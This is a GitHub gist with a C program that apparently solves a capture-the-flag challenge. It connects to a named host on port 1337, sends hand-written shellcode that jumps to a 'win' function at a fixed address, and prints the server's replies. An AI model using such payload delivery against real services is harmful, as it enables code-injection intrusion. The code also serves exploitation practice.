Skip to content

Instantly share code, notes, and snippets.

@olesku
Created November 15, 2017 23:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save olesku/1f843065f74af860df510acb1bd08e27 to your computer and use it in GitHub Desktop.
Save olesku/1f843065f74af860df510acb1bd08e27 to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <string.h>
#define BUFSIZE 1024
void error(int exitval, const char* msg) {
perror(msg);
exit(exitval);
}
int main(int argc, char *argv[]) {
struct sockaddr_in sin;
struct hostent* connectHost;
int sock;
char recvBuf[BUFSIZE], c;
int recvLen = 0, i, port;
connectHost = gethostbyname("hipstersoft.schibsted.io");
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == -1) {
perror("Could not open socket.\n");
exit(1);
}
sin.sin_family = AF_INET;
sin.sin_port = htons(1337);
sin.sin_addr = *((struct in_addr*)connectHost->h_addr);
if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
error(1, "Could not connect");
char shellcode[] = {0xb8, // mov (%eax)
0x46, 0x85, 0x04, 0x08, // 0x08048546 win
0xff, 0xd0, // call *%eax
0x90,0x90,0x90
};
printf("Sizeof shellcode == %d\n", sizeof(shellcode));
write(sock, &shellcode, sizeof(shellcode));
while(1) {
for (i = 0; recvLen = recv(sock, &c, sizeof(char), 0), c!='\n' && i <= BUFSIZE; recvBuf[i++] = c);
if (recvLen == 0)
error(0, "Server closed connection");
if (recvLen == -1)
error(1, "Error on recv()");
recvBuf[i] = '\0';
printf("Recv: %s\n", recvBuf);
}
close(sock);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment